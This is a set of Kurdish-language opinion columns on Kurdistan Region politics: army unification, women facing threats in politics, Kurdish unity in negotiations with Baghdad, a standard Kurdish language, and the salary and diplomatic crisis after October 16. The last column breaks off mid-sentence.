سۆپایه‌كێ ئێك گرتی! شه‌وكه‌ت ئامێدی ده‌مێ بێژین سۆپایێ ئێك گرتی، واته پێده‌نگی، ته‌ناهی، دیمۆكراتی، جۆره عه‌داله‌ته‌كا جڤاكی، ئێكڕێزی، زڤرینا باوه‌ریێ دنابه‌را پارت و جڤاكی دا، گه‌ژبوونا ئیكۆنۆمی، باوه‌ریپێكرنا دۆستان ب مه و هزره‌كا ب ترس ژ نه‌یاران بۆ مه و … نوكه نه هه‌رێمێ به‌لێ دو پارتان دو هێزێنێ چه‌كدارێن هه‌ین، هه‌ردو هێز ژی ب مه‌شق و ڕاهینانان و هه‌تا ژین و ڤه‌ژینا وان یێ ل سهر بۆدجه‌یی هه‌رێمێ. پێدڤیه مرۆڤی ب به‌رده‌وامی ڕێز و سه‌رفه‌رازی هه‌بن ژ بۆ هه‌ر عه‌گیده‌كی، حه‌تا ئه‌گه‌ر ڕۆژه‌كێ ژی ئه‌و خزمه‌تا پیرۆز كربیت، به‌لێ مخابن ل هه‌ر ده‌م گومانه‌كا هه‌ی و پێدڤیه بێخینه به‌رچاڤ و دوباره بكه‌ینه‌ڤه به‌ری هه‌ر ڕووداوه‌ك ڕووبده‌ت. ئه‌گه‌ر به‌رێ خوه بده‌ینه سه‌ربۆرێن سۆپایێ كۆمارا مهابادێ ل ١٩٤٦. ئێك سۆپابوو، به‌لێ مخابن ل بن ده‌ستێ جوار جه‌نه‌ڕالێن سۆپایی بوون، دو ژ وان ل بن ده‌ستێ خودێ ژێ ڕازی بیت مه‌له‌موسته‌فای بوو و برایێ قازی بوون. (سه‌یفی) د گۆتێ سه‌یفی قازی. دو وێن دی ل بن ده‌ستێ دو كه‌سێن دی بوون، هه‌ر جاران ژی په‌یمانه‌ك ل گه‌ل ئه‌زربێجانێ واژۆ كربوو، هه‌ر هه‌ره‌شه‌ك ل سهر لایانه‌كی بهێته‌كرن دێ لایانێ دی بێ مه‌رج پشتگیریێ لێ كه‌ت، به‌لێ جهێ دل ئێشێ بوو. ده‌مێ ئیرانێ و ڕۆسی هێرشی ئه‌زربێجانێ كری. ئه‌وان هه‌ردو جه‌نه‌رالێن دی. بێی مه‌له‌مسته‌فای و سه‌یفێ قازی، شوونا هاریكاریا ئه‌زربێجانێ بكه‌ن. ئه‌وان پشتگیریا رۆسیا كر. ئه‌ڤه‌بوو ئێك ژ ئه‌گه‌رێن سه‌ره‌كی كو قازی یێ ڕه‌حمه‌تی شه‌ر ل گه‌ل ته‌هرانێ نه‌كری. جهێ دل ئێشێ یه هه‌تا نوكه چ مێژوناسێن مه ڤێ شاشیێ نائێخنه به‌رچاڤ، دا نوكه ئه‌م وانه‌كێ ژێ بگرین!.. ئه‌ڤان هه‌ردو هێزان ئێك و دو یێ ئێشاندی و هنده‌ك سه‌رپه‌رشتیارێن ڤان هێزێن جوان و خودان ئه‌زموون ب هێزێن خوه یێن تایبه‌ت دزانن. ئێكبوونا وان كاره‌كێ جوان و پێرۆزه و نشتیمانیه، دێ دل و چاڤێن نه‌یاران پێ ترسینین، به‌لێ ب بۆچوونا من باشترین ڕێ و ساخله‌مترین پاشه‌ڕۆژ ژ بۆ سۆپایه‌كێ ب ناڤوده‌نگ. په‌رله‌مانێ كوردستانێ قانوونا سه‌ربازیا ب كوته‌كی (توپزی) دانیت و بنگه‌هێن سه‌ربازی یێن تازه دروست بكه‌ن ب په‌روه‌رده و مه‌شقا سه‌رده‌م و ب هه‌می جۆرێن گوهۆرینان ڤه. د هه‌مان ده‌مدا وه‌نه‌كه‌ن هیچ سه‌ربازه‌ك یان پێشمه‌رگه‌هه‌ك بێهته زێده‌كر ل سهر هێزێن به‌رێ، هه‌روه‌سا پشتی ده‌مه‌كی هێدی هێدی ڕاسته‌خۆ و نه ڕاسته‌خوه ئه‌و چه‌كێ گران ژ بن ده‌ستێ وان ژی بێهته ده‌رئینان و ئه‌وێن دانه‌ته‌مه‌ن ب سۆپاسیڤه خانه‌نشین بكه‌ن، چونكی ئه‌وان ژی كاره‌كێ جانێ پیرۆزێ پێشكێش كری. پسیاره‌ك دروست دبیت، د ئه‌ڤان كاوادانان دا ئه‌وێن خودان ئه‌زموونێن هێژا و به‌ركه‌فتی بۆچی بێ به‌رهه‌م بێمینن؟ هه‌ر وه‌ك من ئاموژه ب جه‌كێ گران كری، ئه‌وێ گه‌نج و خودان باوه‌رنامه و ئه‌زموونێن باش، هه‌ر چه‌نده‌كان جودا جودا تێكه‌لكه‌ن ل گه‌ل سۆپایێ نوو هه‌تا مفای ژ ئه‌زموونێن وان بگرن. ئه‌گه‌ر كه‌سانه ب بێژیت ئه‌ڤه كارێ مه نینه؟ نه به‌رێز نه ئه‌ڤه كارێ مه هه‌میانه، چونكی ئه‌گه‌ر مه سۆپایه‌كێ ب هێز و ئێك گرتی هه‌بیت، ئه‌م هه‌می دێ پێ سه‌رفیراز و پشت ڕاست بین. به‌روڤاژی ژی. مه هه‌میان ل ١٩٩٦ ئینانا هێزێن ئیرانی، ٣١ێ ئاب، خۆكوژی، شه‌نگال،١٦ئوكتوبه‌ر ..هتــد. ئه‌ڤه هه‌می ئه‌نجامێن نه بوونا سۆپایه‌كێ نشتیمانی و ئێك گرتی بوون به‌رێزان ب هازاران مفایێ تێ دا. به‌لێ ئێك ژ وان مفا ب هێزكرنا ئه‌زموونا دیمۆكراتی و قانوونى. ئه‌گه‌ر مه ئه‌ڤه هه‌بوون. ده‌مێ هه‌ر هه‌لبژارتن و ده‌نگدانه‌كێ. چ لایان نه شێن بچنه‌د چه‌به‌ری دا و ب پشكا خوه ڕازی نه‌بن. یاسا دێ به‌رسڤا وان ده‌ت. نه ب سه‌دان كۆمبوون و كونڤره‌نسێن ڕاگه‌هاندنێ یێن بێ ئه‌نجام و مفا. ئه‌ڤه هه‌می ژی دێ زڤریته‌ڤه سهر ئیرادا هه‌ردو پارتێن ڕامیاری و گڤاشتنا په‌رله‌مان و جڤاكێ ل سهر هه‌ردو پارتێن خۆدان هێز. ئه‌گه‌ر نه په‌رێ وه‌كی به‌رێ ده‌ستێن خوه بشوو وه‌رن ڕووننه‌خارێ!
گه‌ف، ئیرادا ئافره‌تێ و قووناغه‌كا نوو
زه‌ری نه‌وزاد
سیسته‌مێ وه‌لاتێن جیهانا سیێ هه‌رده‌م ل سهر بنه‌مایێ زه‌لامسالاری هاتیه ئاڤاكرن و ئافره‌تێ چو رۆل د سیسته‌مێ رێڤه‌به‌ری و ئیداری ل وان وه‌لاتان دا نه‌بوویه، هه‌كه هنده‌ك ئافره‌تان د رێڤه‌به‌ریێ دا به‌رپرسیار هه‌بن ژی ل ژێر سیبه‌را زه‌لامی بوویه، ئانكۆ ده‌لیڤه ب ئافره‌تێ نه‌هاتیه‌دان ل گۆر راستیا خوه یا سیاسی و جڤاكی خودان رۆل بیت.
لێ ئه‌ڤرۆكه ل جڤاكێ كوردستانێ ئافره‌ت ب رێژه‌كا مه‌زن پشكداریێ د هه‌لبژارتنان دا دكه‌ن، خودان رۆلن د گوهۆرینێن جڤاكی دا. ژ به‌ر هندێ ژی هنده‌ك بازرگانێن ب ناڤ سیاسی یان ژی به‌رپرسێن هنده‌ك هێزێن سیاسی بۆ كۆمكرنا ده‌نگان و بده‌ستڤه‌ئینانا ده‌نگێ ئافره‌تان هه‌رده‌م بزاڤ كرینه جوانیا ژنێ بكاربینن دا پێگه‌هێ خوه د ناڤ جڤاكێ دا بهێز بكه‌ن و حه‌تا راده‌یه‌كێ ژی سه‌ركه‌فتی بووینه. لێ دیسا ژی رێ بۆ ئافره‌تێ نه‌هاتیه دان كو ب ئیرادا خوه سیاسه‌تێ بكه‌ت یان ژی به‌رپرسیاریه‌كێ بگریته ستویێ خوه.
یێن كو د ده‌مێ بانگه‌شه و پرۆپاگنده‌یا هه‌لبژارتنان سۆزا مافێن ئافره‌تێ و ئازادیا وان و خوه‌شكرنا ژیانا ئافره‌تان ددان دا كو ده‌نگان بۆ خوه كۆم بكه‌ن ئه‌ڤرۆكه ناهێلین ئافره‌ت د ناڤ رێزێن وان دا خودان هه‌لویست بن، نها ژی گه‌فان ل ئه‌ندام و په‌رله‌مانتارێن خوه دكه‌ن دا كو گه‌نده‌لیێ وان ڤه‌شێرن و خوه بێده‌نگ بكه‌ن.
ئافره‌تا كورد ب تایبه‌تی ژی ل هه‌رێما كوردستانێ د ڤان سالێن دووماهیێ دا ژ ئه‌نجاما پێشڤه‌چوونێن جڤاكی، هزری، پێشڤه‌چوونێن د بیاڤێن ته‌كنولوجی كو كارتێكرنا خوه ل هه‌موو جڤاكێ كریه بزاڤ كریه كو د هه‌موو بیاڤان دا خودان رۆل بیت، لێ زه‌لامی رێگریێ لێ كریه.
كه‌لتوورێ شه‌رمێ ئانكۆ نامووس كو هه‌می ده‌مه‌كێ وه‌كو كارته‌كێ ل دژی ئافره‌تێ هاتیه بكارئینان نها ژی ئاسته‌نگیه‌كا مه‌زنه كو ناهێلیت ئافره‌تا كورد به‌رگیریێ ل هزرا خوه بكه‌ت، یان ژی داخوازا مافێ خوه بكه‌ت، نموونا هه‌ری دووماهیێ ژی یا شادیێ یه كو گه‌فا به‌لاڤكرنا وێنێن وێ دهێته‌كرن و ئارمانج ژی بێده‌نگكرنا وێ یه دا داخوازا مافێ خوه نه‌كه‌ت و ل هه‌مبه‌ر بێ دادوه‌ریێ و گه‌نده‌لیێ خوه بێده‌نگ بكه‌ت.
بێگومان كه‌لتورێ نها یێ ل كوردستانێ كو كه‌فتیه ژێر دو فاكته‌رێن سه‌ره‌كی كو ئه‌و ژی عه‌شیری و كه‌لتورێ جڤاكێ مه یه، ئاسته‌نگیان ل هه‌مبه‌ر ئافره‌تێ دروست دكه‌ت و هه‌كه پارتیه‌ك یان ژی هێزه‌كا مه‌زن ل پشت ئافره‌تێ نه‌بیت ره‌نگه ل هه‌مبه‌ر زۆرداریێ و گه‌فان خوه بێده‌نگ بكه‌ت.
بهێزبوونا رێكخراوێن ئافره‌تان، پێشڤه‌چوونا تێگه‌هێ دیموكراتیێ، بهێزبوونا پێگه‌هێ تاكێ كورد د ناڤ جڤاكی دا، ره‌وشه‌نبیركرنا ئافره‌تان، شكاندنا هنده‌ك پێناسێن شاش یێن كه‌لتوری كو ل گۆر به‌رژه‌وه‌ندیێن زه‌لامی ل سهر ئافره‌تێ هاتینه فه‌رز كرن ئه‌ڤه دشێن ببنه خالێن گرنگ كو ئافره‌ت بشێت به‌رگیریێ ل مافێ خوه یێ ره‌وا بكه‌ت و ببیته خودان كه‌سایه‌تیا كو وێ دڤێت دا بشێت ل هه‌مبه‌ر هه‌ر زۆرداری یان ژی گه‌فه‌كێ به‌رگیریێ ل خوه بكه‌ت.
دڤێت كورد ژى خوه ئێكلا بكه‌ن
زه‌رى نه‌وزاد
پشتى هه‌لبژارتنێن په‌رله‌مانێ عیراقێ هاتینه‌كرن و ئه‌نجام دیاربوون، ل كوردستانێ یا دهێته دیتن، ب تنێ پارتى یێن د خه‌ما هندێ دا، به‌ره‌یه‌كێ یه‌كگرتوو یێ نیشتیمانى دروست بكه‌ت بۆ دانوستاندنان ل گه‌ل به‌غدا ب مه‌ره‌ما پێكئینانا حوكمه‌تا نوو یا عیراقێ و گیرۆبوونا پێكنه‌ئینانا به‌ره‌یێ كوردى دێ هه‌ر د زیانا كیانێ هه‌رێما كوردستانێ دا شكێت، ژبه‌ر كو د دووماهى خولا په‌رله‌مانێ عیراقێ دا یا دهاته دیتن، لایه‌نێن كوردى د گه‌له‌ك پرسان دا ژ ئێك دووركه‌فتبوون و كارتێكرنه‌كا مه‌زن ل پێگه‌هێ هه‌رێمێ كر كو دڤێت بۆ ڤێ خۆلا په‌رله‌مانى دوباره نه‌بیت، ژ به‌ر كو ئه‌و یه‌كگرتنا جاران ئه‌وا ل به‌غدا هه‌ى، كلیلا سه‌ركه‌فتنا كوردان بوو، به‌لێ ده‌رزێن مه‌زن كه‌تنێ و پێدڤى ب چاره‌سه‌ریا ب له‌ز هه‌یه.
ئه‌زموونا خولا به‌رێ یا حوكمه‌ت و په‌رله‌مانێ عیراقێ ئه‌و یه‌كه بۆ مه دیاركر كو وه‌رگرتنا پۆستێن ویزارى ل به‌غدا، چ مافه‌كێ دستوورى بۆ كوردان دابین ناكه‌ت، جێگرێ سه‌رۆك وه‌زیران، وه‌زیرێ دارایى، جێگرێ سه‌رۆك په‌رله‌مان ، سه‌رۆك كۆمار كورد بوون، به‌لێ مه چ مفا ژێ وه‌رنه‌گرت، په‌رله‌مانێ عیراقێ ب پرانی بریار ددان و چو حساب بۆ ته‌وافوقا سیاسى نه‌دكر، هه‌روه‌سا عه‌بادى ژى ب تاك لایه‌ن بریار ددان، ئه‌نجامێن هه‌لبژارتنێن عیراقێ ئاشكرابوون ل هه‌رێمێ هنده‌ك لایه‌نێن كوردى هه‌ر یێ سهر هزرا هندێ كو سه‌خته‌كارى یا هاتیه‌كرن، د به‌رامبه‌ر دا لایه‌نێن شیعى یێن سه‌ركه‌فتى د هه‌لبژارتنان دا كو گه‌له‌ك ژ ئێك دوور، یێ هه‌ڤپه‌یمانیا ل گه‌ل لایه‌نه‌كێ دى یێ شیعى بۆ پێكئینانا حوكمه‌تێ پێكدئینیت، سه‌در و عامرى نێزیكى ئێك بوون، سه‌در و عه‌بادى نێزیكى ئێك بوون و هه‌ڤپه‌یمانى پێكئینان و هه‌ر مه ل كوردستانێ، ئانكو لایه‌نێن سه‌ركه‌فتى ئێك نه‌گرت، كو ئه‌ڤ چه‌نده ژى دێ كارتێكرنه‌كا خراب ل سهر پێگه‌ه و گۆتارا كوردى كه‌ت د حوكمه‌ت و خولا نوو یا په‌رله‌مانێ عیراقێ دا، ژبه‌ر كو ئه‌گه‌ر دوژمنێ ببینیت د ناڤخوه‌یا خوه‌دا مه ئاریشه یێن هه‌یین و نه د ئێكگرتى نه، وى ده‌مى ب چو ره‌نگه‌كێ نه یێن به‌رهه‌ڤن گوهداریا داخوازیێن مه بكه‌ن د كابینا نوو دا، له‌وا ئه‌ركێ سهر ملێن پارتى دیمۆكراتى كوردستان و ئێكه‌تیا نیشتیمانیا كوردستان كو هێزێن ئێكێ و دوێنه، ڤێ جارێ گرانتره ژ جارێن چوویى، ژبه‌ر كو د ڤان چار سالێن بوورى دا، چ نه‌ما به‌رامبه‌ر هه‌رێمێ نه‌هاتیه كرن، به‌غدا هه‌مى شیان مه‌زاختن كو كیانێ هه‌رێما كوردستانێ ژ ناڤببه‌ت، له‌وما بۆ قووناغا بهێت پێدڤیه ئێكگرێزیه‌كا ئێكجار موكم ل ناڤا هه‌رێمێ بهێته دروستكرن و پارتى و ئێكه‌تى ڤێ ئێكرێزیێ دروست بكه‌ن ئه‌گه‌ر به‌رامبه‌ر چ داگیرانه‌ك بیت، داكو ژیانا تاكێ كورد به‌س بكه‌ڤیته به‌ر مه‌ترسیێ.
هه‌ڤبه‌ركرن ل گه‌ل هه‌موو عیراقێ، ره‌وشا كوردستانێ گه‌له‌ك باشتر و ئێمنتره، له‌وما چ جار نابیت ناكۆكیێن سیاسى، ره‌نگڤه‌دانا وێ پشتى دیاربوونا ئه‌نجامێن هه‌لبژارتنان په‌یدا ببن، دڤێت هه‌ر چ زوویه ناڤ مالا خوه رێكبێخین و ب ئێك پاكێچ داخوازیێن خوه پێشكێشى به‌غدا بكه‌ین و خوه ئێكلا بكه‌ین ل گه‌ل لایه‌نێن عیراقى كو یێن داخوازیێن مه بجهبینیت، ل گه‌ل رێكه‌ڤین و به‌رژه‌وه‌ندیێن حزبى بده‌ینه لایه‌كێ و هه‌مى بزاڤ بۆ وێ ئێكێ بن كو پاشه‌رۆژه‌كا گه‌ش بۆ نه‌ڤیێن نوو په‌یدا بكه‌ن، ژبه‌ر كو دووركه‌تنا مه ژ ئێك ب تنێ د خزمه‌تا دوژمن و نه‌یارێن مه‌دایه.
گرنگیا زمانێ ستانداردێ كوردى
زه‌رى نه‌وزاد
پرسا زمانێ ستاندارد، ئانكو هه‌لبژارتنا زاراڤه‌كێ زمانى، كو ببیته زمانێ نڤێسین و دانوستاندنا فه‌رمى ل وه‌لاتى، ئاسته‌نگیێن خوه هه‌نه و پێدڤى ب بزاڤێن هه‌مه لایه‌ن و سه‌رانسه‌رى هه‌یه، ره‌نگه زمانێ ستاندار ب تنێ د بیاڤه‌كى دا وه‌كو بیاڤێ ده‌رمانسازى، یان ریكلام یان د بیاڤێ بازرگانى یان ئاینى دا هاتبیته بكارئینان، ل جیهانێ ژى نموونێن ئه‌ڤان د زورن، به‌لێ ب گشتى زمانێ ستاندارد كو بیته زمانێ فه‌رمى یێ نڤیسینا وى وه‌لاتى تێدا دهێته راگه‌هاندن، پێدڤى ب پشته‌ڤانیا هه‌مه‌لایه‌ن هه‌یه.
سه‌باره‌ت زمانێ كوردى، ژ ئالیێ زانستێ زمانى ڤه، زمانه‌كه هه‌موو ئه‌و خه‌سله‌تێن سروشتى یێن زمانان یێن تێدا كو ببیته زمانێ ستاندار، ل دووڤ هنده‌ك قوتابخانێن زمانى، خه‌سله‌تێن زمانى ل سهر چار ئاستان پێك دهێت، وه‌كو فونولۆژى، فۆنه‌تیك، مورفولۆژى، سینتاكس، ئانكو د ڤى بیاڤى دا دڤێت بهێته تاقیكرن، به‌لێ د هه‌مان ده‌مدا، بۆچوونه‌ك هه‌یه كو ب ستانداركرنا زاره‌كێ، ئانكو كوشتنا زاره‌كێ دى یه، چونكو د پلان و سیاسه‌تا زمانى دا، دشیاندایه زارێن دى د پرسێن هونه‌رى و ئه‌ده‌بى دا بهێته چالاككرن، هه‌روه‌كو بیاڤێ دوبلاژێ، بۆ نموونه هنده‌ك زاراڤ یێن هه‌ین، ل دوبلاژا بابه‌تێن كومیدى، یان به‌رنامێن زارۆیان، یان بابه‌تێن تراژیدى دشیاندایه بهێته بكارئینان، هه‌روه‌ه‌سا د بیاڤێ ئه‌ده‌بى دا، چیرۆكنڤیس، روماننڤیس، ب رێیا كاراكته‌ر و روودانان، دشێت مفا ژ هه‌موو دیالێكتان وه‌ربگریت.
هه‌ر چاوا بیت، ئه‌ز ل گه‌ل هه‌بوونا زمانه‌كێ ستانداردم، ژبه‌ر كو هه‌بوونا زمانه‌كێ ستانداردێ كوردى، ئانكو شێوه‌كێ هه‌ڤپشكێ كوردى، پێدڤیه‌كا ئێكجار گرنگه بۆ پاراستنا زمانێ كوردى و به‌ره‌ڤپێشڤه‌برنا وى، هه‌روه‌سا بۆ پێشكه‌فتنا ره‌وشه‌نبیریا نه‌ته‌وه‌یی و ب هێزكرنا ئێكرێزیا كوردان, هه‌روه‌سا گه‌له‌ك یا گرنگه بو سه‌رخستنا دۆزا ره‌وایا كوردى و بهێزكرنا په‌یوه‌ندیێن مرۆڤایه‌تى د ناڤبه‌را هه‌موو خه‌لكێ كوردستانێ، زمانێ ستاندارد بناغێ هشیاریا نه‌ته‌وه‌یی یا دروست و چارچووڤێ ئێكگرتنا نه‌ته‌ویى یا ئستراتیجى و گرنگترین پرا په‌یوه‌ندیا د ناڤبه‌را كورد و كێم نه‌ته‌وێن كوردستانێ یه و مه‌رجێ بنه‌ره‌تى یێ كیانێ نه‌ته‌وه‌یی یه بۆ سه‌ربه‌خوه‌یا كوردستانێ ل پاشه‌روژێ، لێ تا نوكه بارودۆخه‌كێ گونجایى بۆ دروستبوونا زمانێ ستانداردێ كوردى ل سه‌رانسه‌رى كوردستانێ دروست نه‌بوویه و ئه‌و هه‌ولێن هاتینه‌دان هه‌موویان ب ره‌نگه‌كێ ئه‌كادیمى سه‌رنه‌گرتیه و ل دوڤ وان هه‌ولان دیاردبیت كو زمانه‌كێ ستاندارد بۆ هه‌رچار پارچێن كوردستانێ گه‌له‌ك یا ب زه‌حمه‌ته و بده‌ستڤه ناهێت، چونكى كوردستان وه‌لاته‌كێ سه‌ربخۆ و ئێكگرتى نینه و ژ ئه‌نجامێ پارچه‌پارچه‌كرنا كوردستانێ ژ لایێ دوژمنان ڤه و ته‌به‌سه‌ركرنا ملله‌تێ كورد ژ لایێ ده‌سهه‌لاتا دوژمنان ڤه زاراڤێن كوردى ژێك دویر كه‌تینه، له‌ورا دڤێت د هه‌رێما كوردستانا ئازاد ڤه ده‌ست پێبكه‌ین چونكى ده‌لیڤه پتر ل هه‌رێمێ هه‌یه بۆ دروستكرنا شێوازه‌كێ تایبه‌تێ زمانێ كوردى و ب فه‌رمى كرنا وى هه‌م ژ لایێ دام و ده‌زگه‌هان و میدیایێ ڤه هه‌م ژى د دستوورێ عیراقا فیدرالدا.
سۆزێن ته‌یسوك
زه‌رى نه‌وزاد
پشتى روودانێن 16 ئوكتوبه‌رێ، فشارێن مه‌زن ل ناڤخوه و ده‌رڤه ل هه‌رێما كوردستانێ هاتنه‌كرن كو ب ئێكجارى راده‌ستى نه‌یارێن خوه ببیت و مه‌ترسیه‌كا مه‌زن ئێخستنه سهر ئه‌زموون و ده‌ستكه‌فتێن هه‌رێما كوردستانێ بگره، ژ گرتنا ده‌ریێن سنوورى، گرتنا فرۆكخانان، درێژه‌پێدان ب برینا بلادجێ خه‌لكێ كوردستانێ كو سه‌قایه‌كێ دروست بكه‌ن خه‌لكى ئێدى ب ئێكجارى باوه‌رى ب حوكمه‌ت و سه‌ركردێن خوه یێن كوردى نه‌مینیت، زۆر ڤه‌نه‌كێشا گه‌له‌ك گوهۆرین دروستبوون كو هه‌رێم نه‌كه‌ڤیت و جاره‌كا دى باوه‌ریا خه‌لكى بۆ ده‌ستهه‌لاتێ ڤه‌گه‌ریت، ئه‌و ژى ڤه‌بوونا فرۆكخانان و هاتنا بۆدجه‌كێ كێم ژ به‌غدا كو ببیته ئه‌گه‌ر ده‌ستكاریا مووچه‌ى بهێته كرن، ئانكو فشارێن سهر هه‌رێمێ رۆژ بۆ رۆژ یێن دهێنه كێمكرن كو راسته‌وخوه ژى كێمبوونا ڤان فشاران په‌یوه‌ندى ب خوه‌شتركرنا ره‌وش و ژیارا وه‌لاتیان ڤه هه‌یه.
خه‌لكى چار سالێن ده‌رده‌سه‌ریێ و نه‌خۆشیێ قه‌بوولكرن، له‌وما ده‌م هاتیه بارێ خه‌لكى ب ئێكجارى بهێته سڤككرن و ب ئێكجارى پاشكه‌فتا مووچه‌ى نه‌مینیت، ئه‌و ژى ب په‌سه‌ندبوونا پرۆژه قانوونا راستڤه‌كرنا مووچێن پلێن بلند و خانه‌نشینیێ كو نوكه ل په‌رله‌مانێ كوردستانێ یه بهێته په‌سه‌ندكرن و بكه‌ڤیته كارى داكو پتر ببیته ئه‌گه‌ر دادپه‌رویه‌ك ل ناڤ جڤاكێ كوردى په‌یدا ببیت، هه‌روه‌سا ژبلى ڤى پرۆژه‌ى، دڤێت حوكمه‌تا هه‌رێما كوردستانێ پتر كار ل سهر هه‌موو سێكته‌رێن دى یێن ژیانێ بكه‌ت، پێدڤیه داهاتێ ناڤخوه پتر بهێته رێكخستن، پرۆژێن ژێرخانا ئابوورى كار ل سهر بهێنه كرن و لایه‌نێ سه‌ربازى بهێته سازیكرن و پتر كۆنترۆلا گه‌نده‌لیێ بهێته كرن وپتر ریفورم د كارگێرى و برێڤه‌برنێ دا بهێته كرن داكوبۆ هه‌لبژارتنێن بهێت یێن په‌رله‌مانێ عیراقێ و یێن په‌رله‌مانێ كوردستانێ ژى، ب تمامى باوه‌رى بۆ خه‌لكێ كوردستانێ ب ڤێ حوكمه‌تێ بزڤریت و وه‌لاتى ل سهر بنه‌مایه‌كێ دروست و راست د هه‌لبژارتنا نوونه‌رێن خوه‌دا د راستگۆ بن و ل دووڤ سوزێن ته‌یسوك نه‌كه‌ڤن و ئارمانج و نیازا هنده‌ك پارتێن سیاسى بزانن یێن كو دخواستن د ڤان چار سالێن بوورى دا سه‌ره‌راى قه‌یرانا دارایى و شه‌رێ داعش و هاتنا ملیۆنه‌ها ئاواران بۆ هه‌رێما كوردستانێ، ره‌وشا ئێمناها كوردستانێ ژ ناڤ ببه‌ن، دڤێت خه‌لك بگه‌هته وێ باوه‌ریێ كو ئه‌گه‌ر ئاشتى و سه‌قامگیریا وه‌لاتى تێكچوو، ئێدى ب سۆزێن بریقه‌دارێن ڤان حزبان ره‌وش ئاسایى نابیته‌ڤه، دڤێت خه‌لكى ئه‌ویه‌كه ل به‌رچاڤ بیت كو كى بوو بوویه ئه‌گه‌ر سازانا نیشتمانى ل ڤى وه‌لاتى تێك بچیت، دڤێت خه‌لك باش ل نیازا لایه‌نێن ڤێ دووماهیێ ده‌ركه‌تین بگه‌هیت كو ئارمانجا وان ئه‌و نینه ب رێیا سندوقێن ده‌نگدانێ بگه‌هنه ده‌ستهه‌لاتێ، ژبه‌ر كو به‌رى هه‌لبژارتنان ل ده‌رگه‌هێ دوژمنى ددانان و ل به‌غدا دگۆتنه حه‌یده‌ر عه‌بادى سه‌رۆك وه‌زیرێن عیراقێ بودجێ خه‌لكێ كوردستانێ نه‌فرێكه داكو ئه‌ڤ حوكمه‌ته ب ئێكجارى بكه‌ڤیت.
سه‌رگرتنا بزاڤێن دبلوماسى
زه‌رى نه‌وزاد
پشتى هه‌رێما كوردستانێ ژ ئه‌گه‌رێ سه‌رنه‌گرتنا ده‌رئه‌نجامێن ریفراندۆمێ و وێ خیانه‌تا ل 16 ئوكتوبه‌رێ هاتیه كرن، تووشى دوورپێچه‌كا سیاسى و ئابوورى بووى و سنورێن وێ یێن ل گه‌ل ئیرانێ و فرۆكخانێن هه‌رێمێ ل هه‌مبه‌ر گه‌شتێن ئاسمانى هاتینه گرتن، هه‌روه‌سا پشتى ژ ده‌ستدانا نه‌فتا كه‌ركووكێ پتر بارێ دارایى یێ هه‌رێما كوردستانێ دژوار بوو كو نه‌شێت مووچێ فه‌رمانبه‌رێن خوه دابین بكه‌ت، به‌لێ ب سیاسه‌تا سه‌رۆك وه‌زیرێن هه‌رێمێ و ئه‌و بزاڤێن به‌رده‌وام یێن دبلوماسى یێن داین، بوو ئه‌گه‌ر كو فشارێن سهر هه‌رێما كوردستانێ هێدى هێدى ژ ئه‌نجامێ وان بزاڤان كێم ببن، ب تایبه‌ت پشتى سه‌ره‌دانا سه‌رۆك وه‌زیران بۆ فره‌نسا و ئه‌لمانیا و ڤاتیكان، ده‌رئه‌نجامێن وان بزاڤان یێ دیار دبن، به‌رى چه‌نده‌كێ ده‌رگه‌هێ سنورى یێ حاجى عومران ل گه‌ل ئیرانێ هاته ڤه‌كرن و ل نێزیك دێ فرۆكخانێن هه‌رێمێ ژى هێنه ڤه‌كرن و دیدارا د ناڤبه‌را عه‌بادى و نێچیرڤان بارزانى ژى هه‌ر ژ ئه‌نجامێ وان فشارێن نێڤده‌وله‌تى بوویه كو عه‌بادى نه‌چار ببیت گوهداریا داخوازیێن كوردان بكه‌ت ب تایبه‌ت مووچێن فه‌رمانبه‌رێن هه‌رێمێ دابین بكه‌ت كو پتر ژ سێ سالایه به‌غدا سیاسه‌تا برسیكرنا خه‌لكێ كوردستانێ بكار دئینیت.
ل ڤێره كه‌تنه سهر پێیا هه‌رێما كوردستانێ، بێى ئێكگرتنا هێز و لایه‌نێن سیاسى یێن كوردستانى، ره‌نگه گه‌له‌ك كێماسى تێدا هه‌بن و یا به‌روه‌خت ژى بیت، له‌ومان دڤێت سه‌ركردێن پارتێن سیاسى مفاى ژ ئه‌زموون و شاشیێن خوه یێن بوورى وه‌ربگرن و شاشیه‌كا گه‌له‌ك مه‌زنه كو هه‌تا نوكه ل ڤێ پارچا هه‌رێمێ، بۆ پرۆسا هه‌لبژارتنێن عیراقێ، كوردان هه‌ڤپه‌یمانیه‌ك ئێكگرتى دروست نه‌كریه، ژبه‌ر كو رێكخستن و ئێكده‌نگى و ئێك گوتاریا گه‌لێ كورد د ڤى ده‌مى دا به‌رامبه‌ر به‌غدا، دێ بیته باشترین فشارا كو ئه‌و فشاره خوه گه‌له‌ك بگریت و نه یا به‌روه‌خت بیت، گونه‌هه‌كا مه‌زنه سه‌كردێن كورد ده‌رحه‌ق گه‌لێ خوه دكه‌ن كو د ڤى ده‌مى دا ئێك نه‌گرن، ژبه‌ر كو گه‌له‌ك ب رۆنى ئوروپا و ئه‌مریكا یێ دبێژن مه هه‌رێمه‌كا بهێز د چارچووڤێ عیراقێ دا دڤێت و به‌رده‌وام یێ رژدیێ ل وێ یه‌كێ دكه‌ن كو كیانێ هه‌رێما كوردستانێ دڤێـت ژ ئالیێ به‌غدا ڤه بهێته پاراستن، باشه چاوان ده‌وله‌تێن زلهێزێن جیهانێ پشته‌ڤانیێ ل پاراستنا ئه‌زموونا مه بكه‌ت و ئه‌م بخوه د ناڤخوه‌یا خوه‌دا نه‌شێت ئێك بگرین و ئه‌زموونا هه‌رێما كوردستانێ بئێخینه به‌ر مه‌ترسێ، بلا مفاى ژ خوه‌رێكخستنا وه‌لاتێ ئه‌لمانیا وه‌ربگرین، كانێ چاوا ئه‌لمانیه‌كا یه‌كگرتوو چێكر و چاوان نوكه بوویه بهێزترین هێزا كارتێكه‌ر ل ئوروپا و جیهانێ، قوناغ گه‌له‌ك یا نازكه ب تایبه‌ت هه‌لبژارتنێن عیراقێ نێزیك بوویه، ئه‌گه‌ر ئه‌م به‌رى هه‌لبژارتنان مالا خوه رێك نه‌ئێخین و مافێن خوه یێن ده‌ستورى نه‌ڤه‌گه‌رینین و مه‌رجێن پشكداریا خوه د هه‌لبژارتنێن عیراقێ دا نه‌كه‌یه كارت، پشتى هه‌لبژارتنان گه‌له‌ك دێ ب زه‌حمه‌تتر لێ هێت، له‌وما بارێ گران یێ ده‌ربازكرنا ڤێ قوناغێ دكه‌ڤیته سهر ملێن پارتى دیموكراتى كوردستان و ئێكه‌تیا نیشتمانیا كوردستان كو ده‌ستبه‌رداى هه‌موو مافێن خوه بن كو بشێن به‌رى 